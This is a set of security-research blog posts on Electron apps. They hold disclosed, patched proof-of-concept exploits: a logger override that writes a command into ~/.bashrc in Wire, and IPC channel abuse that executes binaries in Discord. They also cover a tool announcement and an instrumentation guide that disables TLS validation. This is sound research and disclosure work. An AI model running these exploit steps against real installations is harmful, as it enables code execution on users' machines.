We’re back from BlackHat Asia 2019 where we introduced a relatively unexplored class of vulnerabilities affecting Electron-based applications.
Despite popular belief, secure-by-default settings are slowly becoming the norm and the dev community is gradually learning common pitfalls. Isolation is now widely deployed across all top Electron applications and so turning XSS into RCE isn’t child’s play anymore.
BrowserWindow preload introduces a new and interesting attack vector. Even without a framework bug (e.g. nodeIntegration
bypass), this neglected attack surface can be abused to bypass isolation and access Node.js primitives in a reliable manner.
You can download the slides of our talk from the official BlackHat Briefings archive: http://i.blackhat.com/asia-19/Thu-March-28/bh-asia-Carettoni-Preloading-Insecurity-In-Your-Electron.pdf
Preload is a mechanism to execute code before renderer scripts are loaded. This is generally employed by applications to export functions and objects to the page’s window
object as shown in the official documentation:
let win
app.on('ready', () => {
win = new BrowserWindow({
webPreferences: {
sandbox: true,
preload: 'preload.js'
}
})
win.loadURL('http://google.com')
})
preload.js can contain custom logic to augment the renderer with easy-to-use functions or application-specific objects:
const fs = require('fs')
const { ipcRenderer } = require('electron')
// read a configuration file using the `fs` module
const buf = fs.readFileSync('allowed-popup-urls.json')
const allowedUrls = JSON.parse(buf.toString('utf8'))
const defaultWindowOpen = window.open
function customWindowOpen (url, ...args) {
if (allowedUrls.indexOf(url) === -1) {
ipcRenderer.sendSync('blocked-popup-notification', location.origin, url)
return null
}
return defaultWindowOpen(url, ...args)
}
window.open = customWindowOpen
[...]
Through performing numerous assessments on behalf of our clients, we noticed a general lack of awareness around the risks introduced by preload scripts. Even in popular applications using all recommended security best practices, we were able to turn boring XSS into RCE in a matter of hours.
This prompted us to further research the topic and categorize four types of insecure preloads:
(1) Preload scripts can reintroduce Node global symbols back to the global scope
While it is evident that reintroducing some Node global symbols (e.g. process
) to the renderer is dangerous, the risk is not immediately obvious for classes like Buffer
(which can be leveraged for a nodeIntegration
bypass)
(2) Preload scripts can introduce functionalities that can be abused by untrusted code
Preload scripts have access to Node.js, and the functions exported by applications to the global window
often include dangerous primitives
(3) Preload scripts can facilitate sandbox
bypasses
Even with sandbox
enabled, preload scripts still have access to Node.JS native classes and a few Electron modules. Once again, preload code can leak privileged APIs to untrusted code that could facilitate sandbox
bypasses
(4) Without contextIsolation
, the integrity of preload scripts is not guaranteed
When isolated words are not in use, prototype pollution attacks can override preload script code. Malicious JavaScript running in the renderer can alter preload functions in order to return different data, bypass checks, etc.
In this blog post, we will analyze a couple of vulnerabilities belonging to group (2) which we discovered in two popular applications: Wire App and Discord.
For more vulnerabilities and examples, please refer to our presentation.
Wire App is a self-proclaimed “most secure collaboration platform”. It’s a secure messaging app using end-to-end encryption for file sharing, voice, and video calls. The application implements isolation by using a BrowserWindow
with nodeIntegration
disabled, in which a webview HTML tag is used.
Despite enforcing isolation, the web-view-preload.js
preload file contains the following code:
const webViewLogger = new winston.Logger();
webViewLogger.add(winston.transports.File, {
filename: logFilePath,
handleExceptions: true,
});
webViewLogger.info(config.NAME, 'Version', config.VERSION);
// webapp uses global winston reference to define log level
global.winston = webViewLogger;
Code running in the isolated renderer (e.g. XSS) can override the logger’s transport setting in order to obtain a file write primitive.
This issue can be easily verified by switching to the messages view:
window.document.getElementsByTagName("webview")[0].openDevTools();
Before executing the following code:
function formatme(args) {
var logMessage = args.message;
return logMessage;
}
winston.transports.file = (new winston.transports.file.__proto__.constructor({
dirname: '/home/ikki/',
level: 'error',
filename: '.bashrc',
json: false,
formatter: formatme
}))
winston.error('xcalc &');
This issue affected all supported platforms (Windows, Mac, Linux). As the sandbox entitlement is enabled on macOS, an attacker would need to chain this issue with another bug to write outside the application folders. Please note that since it is possible to override some application files, RCE may still be possible without a macOS sandbox bypass.
A security patch was released on March 14, 2019, just few days after our disclosure.
Discord is a popular voice and text chat used by over 250 million gamers. The application implements isolation by simply using a BrowserWindow
with nodeIntegration
disabled. Despite that, the preload script (app/mainScreenPreload.js) in use by the same BrowserWindow
contains multiple exports including the following:
var DiscordNative = {
isRenderer: process.type === 'renderer',
//..
ipc: require('./discord_native/ipc'),
};
//..
process.once('loaded', function () {
global.DiscordNative = DiscordNative;
//..
}
where app/discord_native/ipc.js contains the following code:
var electron = require('electron');
var ipcRenderer = electron.ipcRenderer;
function send(event) {
for (var _len = arguments.length, args = Array(_len > 1 ? _len - 1 : 0), _key = 1; _key < _len; _key++) {
args[_key - 1] = arguments[_key];
}
ipcRenderer.send.apply(ipcRenderer, [event].concat(args));
}
function on(event, callback) {
ipcRenderer.on(event, callback);
}
module.exports = {
send: send,
on: on
};
Without going into details, this script is basically a wrapper for the official Electron’s asynchronous IPC mechanism in order to exchange messages from the render process (web page) to the main process.
In Electron, ipcMain
and ipcRenderer
modules are used to implement IPC between the main process and the renderers but they’re also leveraged for internal native framework invocations. For instance, the window.close()
function is implemented using the following event listener:
// Implements window.close()
ipcMainInternal.on('ELECTRON_BROWSER_WINDOW_CLOSE', function (event) {
const window = event.sender.getOwnerBrowserWindow()
if (window) {
window.close()
}
event.returnValue = null
})
As there’s no separation between application-level IPC messages and the ELECTRON_
internal channel, the ability to set arbitrary channel names allows untrusted code in the renderer to subvert the framework’s security mechanism.
For example, the following synchronous IPC calls can be used to execute an arbitrary binary:
(function () {
var ipcRenderer = require('electron').ipcRenderer
var electron = ipcRenderer.sendSync("ELECTRON_BROWSER_REQUIRE","electron");
var shell = ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_GET", electron.id, "shell");
return ipcRenderer.sendSync("ELECTRON_BROWSER_MEMBER_CALL", shell.id, "openExternal", [{
type: 'value',
value: "file:///Applications/Calculator.app"
}]);
})();
In the case of the Discord’s preload, an attacker can issue asynchronous IPC messages with arbitrary channels. While it is not possible to obtain a reference of the objects from the function exposed in the untrusted window, an attacker can still brute-force the reference of the child_process
using the following code:
DiscordNative.ipc.send("ELECTRON_BROWSER_REQUIRE","child_process");
for(var i=0;i<50;i++){
DiscordNative.ipc.send("ELECTRON_BROWSER_MEMBER_CALL", i, "exec", [{
type: 'value',
value: "calc.exe"
}]);
}
This issue affected all supported platforms (Windows, Mac, Linux). A security patch was released at the beginning of 2019. Additionally, Discord also removed backwards compatibility code with old clients.
We’re excited to announce the public release of Electronegativity, an opensource tool capable of identifying misconfigurations and security anti-patterns in Electron-based applications.
Electronegativity is the first-of-its-kind tool that can help software developers and security auditors to detect and mitigate potential weaknesses in Electron applications.
If you’re simply interested in trying out Electronegativity, go ahead and install it using NPM:
$ npm install @doyensec/electronegativity -g
To review your application, use the following command:
$ electronegativity -i /path/to/electron/app
Results are displayed in a compact table, with references to application files and our knowledge-base.
The remaining blog post will provide more details on the public release and introduce its current features.
Back in July 2017 at the BlackHat USA Briefings, we presented the first comprehensive study on Electron security where we primarily focused on framework-level vulnerabilities and misconfigurations. As part of our research journey, we also created a checklist of security anti-patterns and must-have features to illustrate misconfigurations and vulnerabilities in Electron-based applications.
With that, me and Claudio Merloni started developing the first prototype for Electronegativity. Immediately after the BlackHat presentation, we received a lot of great feedback and new ideas on how to evolve the tool. Back home, we started working on those improvements until we realized that we had to rethink the overall design. The code repository was made private again and minor refinements were done in between customer projects only.
In the summer of 2018, we hired Doyensec’s first intern - Ibram Marzouk who started working on the tool again. Later, Jaroslav Lobacevski joined the project team and pushed Electronegativity to the finish line. Claudio, Ibram and Jaroslav, thanks for your contributions!
While certainly overdue, we’re happy that we eventually managed to release the tool in better shape. We believe that Electron is here to stay and hopefully Electronegativity will become a useful companion for all Electron developers out there.
Electronegativity leverages AST / DOM parsing to look for security-relevant configurations. Checks are standalone files, which makes the tool modular and extensible.
Building a new check is relatively easy too. We support three “families” of checks, so that the tool can analyze all resources within an Electron application:
JSON.parse()
)When you scan an application, the tool will unpack all resources (if applicable) and perform an audit using all registered checks. Results are displayed in the terminal, CSV file or SARIF format.
Electronegativity currently implements the following checks. A knowledge-base containing information around risk and auditing strategy has been created for each class of vulnerabilities:
Leveraging these 27 checks, Electronegativity is already capable of identifying many vulnerabilities in real-life applications. Going forward, we will keep improving the detection and updating the tool to keep pace with the fast-changing Electron framework. Start using Electronegativity today!
Since the first commit back in 2016, burp-rest-api has been the default tool for BurpSuite-powered web scanning automation. Many security professionals and organizations have relied on this extension to orchestrate the work of Burp Spider and Scanner.
Today, we’re proud to announce a new major release of the tool: burp-rest-api v2.0.1
Starting in June 2018, Doyensec joined VMware in the development and support of the growing burp-rest-api community. After several years of experience in big tech companies and startups, we understand the need for security automation to improve efficacy and efficiency during software security activities. Unfortunately internal security tools are rarely open-sourced, and still, too many companies are reinventing the wheel. We believe that working together on foundational components, such as burp-rest-api, represents the future of security automation as it empowers companies of any size to build customized solutions.
After a few weeks of work, we cleaned up all the open issues and brought burp-rest-api to its next phase. In this blog post, we would like to summarize some of the improvements.
You can now download the latest version of burp-rest-api from https://github.com/vmware/burp-rest-api/releases in a precompiled release build. While this may not sound like a big deal, it’s actually the result of a major change in the plugin bootstrap mechanism. Until now, burp-rest-api was strictly dependent on the original Burp Suite JAR to be compiled, hence we weren’t able to create stable releases due to licensing. By re-engineering the way burp-rest-api starts, it is now possible to build the extension without even having burpsuite_pro.jar.
git clone git@github.com:vmware/burp-rest-api.git
cd burp-rest-api
./gradlew clean build
Once built, you can now execute Burp with the burp-rest-api extension using the following command:
java -jar burp-rest-api-2.0.0.jar --burp.jar=./lib/burpsuite_pro.jar
Many users have asked for the ability to load additional extensions while running Burp with burp-rest-api. Thanks to a new bootstrap mechanism, burp-rest-api is loaded as a 2nd generation extension which makes it possible to load both custom and BAppStore extensions written in any of the supported programming languages.
Moreover, the tool allows loading extensions during application startup using the flag --burp.ext=<filename.{jar,rb,py}>
.
In order to implement this, we employed a classloading technique with a dummy entry point (BurpExtender.java) that loads the legacy Burp extension (LegacyBurpExtension.java) after the full Burp Suite has been loaded and launched (BurpService.java).
In this release, we have also focused our efforts on a massive issues house-cleaning:
With the release of Burp Suite Professional 2.0 (beta), Burp includes a native Rest API.
While the current functionalities are very limited, this is certainly going to change.
In the initial release, the REST API supports launching vulnerability scans and obtaining the results. Over time, additional functions will be added to the REST API.
It’s great that Burp users will finally benefit from a native Rest API, however this new feature makes us wonder about the future for this project.
Let us know how burp-rest-api can still provide value, and which directions the project could take. Comment on this Github Issue or tweet to our @Doyensec account.
Thank you for the support,
Luca Carettoni & Andrea Brancaleoni
With the increasing popularity of the Electron Framework, we have created this post to summarize a few techniques which can be used to instrument an Electron-based application, change its behavior, and perform in-depth security assessments.
The Electron Framework is used to develop multi-platform desktop applications with nothing more than HTML, JavaScript and CSS. It has two core components: Node.js and the libchromiumcontent module from the Chromium project.
In Electron, the main process is the process that runs package.json’s main script. This component has access to Node.js primitives and is responsible for starting other processes. Chromium is used for displaying web pages, which are rendered in separate processes called renderer processes.
Unlike regular browsers where web pages run in a sandboxed environment and do not have access to native system resources, Electron renderers have access to Node.js primitives and allow lower level integration with the underlying operating system. Electron exposes full access to native Node.js APIs, but it also facilitates the use of external Node.js NPM modules.
As you might have guessed from recent public security vulnerabilities, the security implications are substantial since JavaScript code can access the filesystem, user shell, and many more primitives. The inherent security risks increase with the additional power granted to application code. For instance, displaying arbitrary content from untrusted sources inside a non-isolated renderer is a severe security risk. You can read more about Electron Security, hardening and vulnerabilities prevention in the official Security Recommendations document.
The first thing to do to inspect the source code of an Electron-based application is to unpack the application bundle (.asar file). ASAR archives are a simple tar-like format that concatenates files into a single one.
First locate the main ASAR archive of our app, usually named core.asar or app.asar.
Once we have this file we can proceed with installing the asar utility:
npm install -g asar
and extract the whole archive:
asar extract core.asar destinationfolder
At its simplest version, an Electron application includes three files: index.js, index.html and package.json.
Our first target to inspect is the package.json file, as it holds the path of the file responsible for the “entry point” of our application:
{
"name": "Example App",
"description": "Core App",
"main": "app/index.js",
"private": true,
}
In our example the entry point is the file called index.js located within the app folder, which will be executed as the main process. If not specified, index.js is the default main file. The file index.html and other web resources are used in renderer processes to display actual content to the user. A new renderer process is created for every browserWindow instantiated in the main process.
In order to be able to follow functions and methods in our favorite IDE, it is recommended to resolve the dependencies of our app:
npm install
We should also install Devtron, a tool (built on top of the Chrome Developer Tools) to inspect, monitor and debug our Electron app. For Devtron to work, NodeIntegration must be on.
npm install --save-dev devtron
Then, run the following from the Console tab of the Developer Tools
require('devtron').install()
Whenever the application is neither minimized nor obfuscated, we can easily inspect the code.
'use strict';
Object.defineProperty(exports, "__esModule", {
value: true
});
exports.startup = startup;
exports.handleSingleInstance = handleSingleInstance;
exports.setMainWindowVisible = setMainWindowVisible;
var _require = require('electron'),
Menu = _require.Menu;
var mainScreen = void 0;
function startup(bootstrapModules) {
[ -- cut -- ]
In case of obfuscation, there are no silver bullets to unfold heavily manipulated javascript code. In these situations, a combination of automatic tools and manual reverse engineering is required to get back to the original source.
Take this horrendous piece of JS as an example:
eval(function(c,d,e,f,g,h){g=function(i){return(i<d?'':g(parseInt(i/d)))+((i=i%d)>0x23?String['\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65'](i+0x1d):i['\x74\x6f\x53\x74\x72\x69\x6e\x67'](0x24));};while(e--){if(f[e]){c=c['\x72\x65\x70\x6c\x61\x63\x65'](new RegExp('\x5c\x62'+g(e)+'\x5c\x62','\x67'),f[e]);}}return c;}('\x62\x20\x35\x3d\x5b\x22\x5c\x6f\x5c\x38\x5c\x70\x5c\x73\x5c\x34\x5c\x63\x5c\x63\x5c\x37\x22\x2c\x22\x5c\x72\x5c\x34\x5c\x64\x5c\x74\x5c\x37\x5c\x67\x5c\x6d\x5c\x64\x22\x2c\x22\x5c\x75\x5c\x34\x5c\x66\x5c\x66\x5c\x38\x5c\x71\x5c\x34\x5c\x36\x5c\x6c\x5c\x36\x22\x2c\x22\x5c\x6e\x5c\x37\x5c\x67\x5c\x36\x5c\x38\x5c\x77\x5c\x34\x5c\x36\x5c\x42\x5c\x34\x5c\x63\x5c\x43\x5c\x37\x5c\x76\x5c\x34\x5c\x41\x22\x5d\x3b\x39\x20\x6b\x28\x65\x29\x7b\x62\x20\x61\x3d\x30\x3b\x6a\x5b\x35\x5b\x30\x5d\x5d\x3d\x39\x28\x68\x29\x7b\x61\x2b\x2b\x3b\x78\x28\x65\x2b\x68\x29\x7d\x3b\x6a\x5b\x35\x5b\x31\x5d\x5d\x3d\x39\x28\x29\x7b\x79\x20\x61\x7d\x7d\x62\x20\x69\x3d\x7a\x20\x6b\x28\x35\x5b\x32\x5d\x29\x3b\x69\x2e\x44\x28\x35\x5b\x33\x5d\x29',0x28,0x28,'\x7c\x7c\x7c\x7c\x78\x36\x35\x7c\x5f\x30\x7c\x78\x32\x30\x7c\x78\x36\x46\x7c\x78\x36\x31\x7c\x66\x75\x6e\x63\x74\x69\x6f\x6e\x7c\x5f\x31\x7c\x76\x61\x72\x7c\x78\x36\x43\x7c\x78\x37\x34\x7c\x5f\x32\x7c\x78\x37\x33\x7c\x78\x37\x35\x7c\x5f\x33\x7c\x6f\x62\x6a\x7c\x74\x68\x69\x73\x7c\x4e\x65\x77\x4f\x62\x6a\x65\x63\x74\x7c\x78\x33\x41\x7c\x78\x36\x45\x7c\x78\x35\x39\x7c\x78\x35\x33\x7c\x78\x37\x39\x7c\x78\x36\x37\x7c\x78\x34\x37\x7c\x78\x34\x38\x7c\x78\x34\x33\x7c\x78\x34\x44\x7c\x78\x36\x44\x7c\x78\x37\x32\x7c\x61\x6c\x65\x72\x74\x7c\x72\x65\x74\x75\x72\x6e\x7c\x6e\x65\x77\x7c\x78\x32\x45\x7c\x78\x37\x37\x7c\x78\x36\x33\x7c\x53\x61\x79\x48\x65\x6c\x6c\x6f'['\x73\x70\x6c\x69\x74']('\x7c')));
It can be manually turned into:
eval(function (c, d, e, f, g, h) {
g = function (i) {
return (i < d ? '' : g(parseInt(i / d))) + ((i = i % d) > 35 ? String['fromCharCode'](i + 29) : i['toString'](36));
};
while (e--) {
if (f[e]) {
c = c['replace'](new RegExp('\\b' + g(e) + '\\b', 'g'), f[e]);
}
}
return c;
}('b 5=["\\o\\8\\p\\s\\4\\c\\c\\7","\\r\\4\\d\\t\\7\\g\\m\\d","\\u\\4\\f\\f\\8\\q\\4\\6\\l\\6","\\n\\7\\g\\6\\8\\w\\4\\6\\B\\4\\c\\C\\7\\v\\4\\A"];9 k(e){b a=0;j[5[0]]=9(h){a++;x(e+h)};j[5[1]]=9(){y a}}b i=z k(5[2]);i.D(5[3])', 40, 40, '||||x65|_0|x20|x6F|x61|function|_1|var|x6C|x74|_2|x73|x75|_3|obj|this|NewObject|x3A|x6E|x59|x53|x79|x67|x47|x48|x43|x4D|x6D|x72|alert|return|new|x2E|x77|x63|SayHello'['split']('|')));
Then, it can be passed to JStillery, JS Nice and other similar tools in order to get back a human readable version.
'use strict';
var _0 = ["SayHello", "GetCount", "Message : ", "You are welcome."];
function NewObject(contentsOfMyTextFile) {
var _1 = 0;
this[_0[0]] = function(theLibrary) {
_1++;
alert(contentsOfMyTextFile + theLibrary);
};
this[_0[1]] = function() {
return _1;
};
}
var obj = new NewObject(_0[2]);
obj.SayHello(_0[3]);
During testing, it is particularly important to review all web resources as we would normally do in a standard web application assessment. For this reason, it is highly recommended to enable the Developer Tools in all renderers and <webview>
tags.
Electron’s Main process can use the BrowserWindow API to call the BrowserWindow method and instantiate a new renderer.
In the example below, we are creating a new BrowserWindow instance with specific attributes. Additionally, we can insert a new statement to launch the Developer tools:
/app/mainScreen.js
var winOptions = {
title: 'Example App',
backgroundColor: '#ffffff',
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'preload.js')
}
};
[ -- cut -- ]
mainWindow = new _electron.BrowserWindow(winOptions);
winId = win.id;
//|--> HERE we can hook and add the Developers Tools <--|
win.webContents.openDevTools({ mode: 'bottom' })
win.setMenuBarVisibility(true);
If everything worked fine, we should have the Developers Tools enabled for the main UI screen.
From the main Developer Tool console, we can open additional developer tools windows for other renderers (e.g. webview tags).
window.document.getElementsByTagName("webview")[0].openDevTools()
While reading the code above, have you noticed the webPreference options?
WebPreferences options are basically settings for the renderer process and include things like window size, appearance, colors, security features, etc. Some of these settings are pretty useful for debugging purposes too.
For example, we can make all windows visible by using the show property of WebPreferences:
BrowserWindow({show: true})
During instrumentation, it is useful to include debugging code such as
console.log("\n--------------- Debug --------------------\n")
console.log(process.type)
console.log(process.pid)
console.log(process.argv)
console.log("\n--------------- Debug --------------------\n")
Since it is not possible to open the developer tools for the Main Process, debugging this component is a bit trickier. Luckily, Chromium’s Developer Tools can be used to debug Electron’s main process with just a minor adjustment.
The DevTools in an Electron browser window can only debug JavaScript executed in that window (i.e. the web page). To debug JavaScript executed in the main process you will need to leverage the native debugger and launch Electron with the --inspect
or --inspect-brk
switch.
Use one of the following command line switches to enable debugging of the main process:
–inspect=[port] Electron will listen for V8 inspector protocol messages on the specified port, an external debugger will need to connect on this port. The default port is 5858.
–inspect-brk=[port] Like –inspect but pauses execution on the first line of JavaScript.
Usage:
electron --inspect=5858 your-app
You can now connect Chrome by visiting chrome://inspect and analyze the launched Electron app present there.
Chromium supports system proxy settings on all platforms, so setup a proxy and then add Burp CA as usual.
We can even use the following command line argument if you run the Electron application directly. Please note that this does not work when using the bundled app.
--proxy-server=address:port
Or, programmatically with these lines in the main app:
const {app} = require('electron')
app.commandLine.appendSwitch('proxy-server', '127.0.0.1:8080')
For Node, use transparent proxying by either changing /etc/hosts or overriding configs:
npm config set proxy http://localhost:8080
npm config set https-proxy http://localhost:8081
In case you need to revert the proxy settings, use:
npm config rm proxy
npm config rm https-proxy
However, you need to disable TLS validation with the following code within the application under testing:
process.env.NODE_TLS_REJECT_UNAUTHORIZED = “0";
Proper instrumentation is a fundamental step in performing a comprehensive security test. Combining source code review with dynamic testing and client instrumentation, it is possible to analyze every aspect of the target application. These simple techniques allow us to reach edge cases, exercise all code paths and eventually find vulnerabilities.
@voidsec @lucacarettoni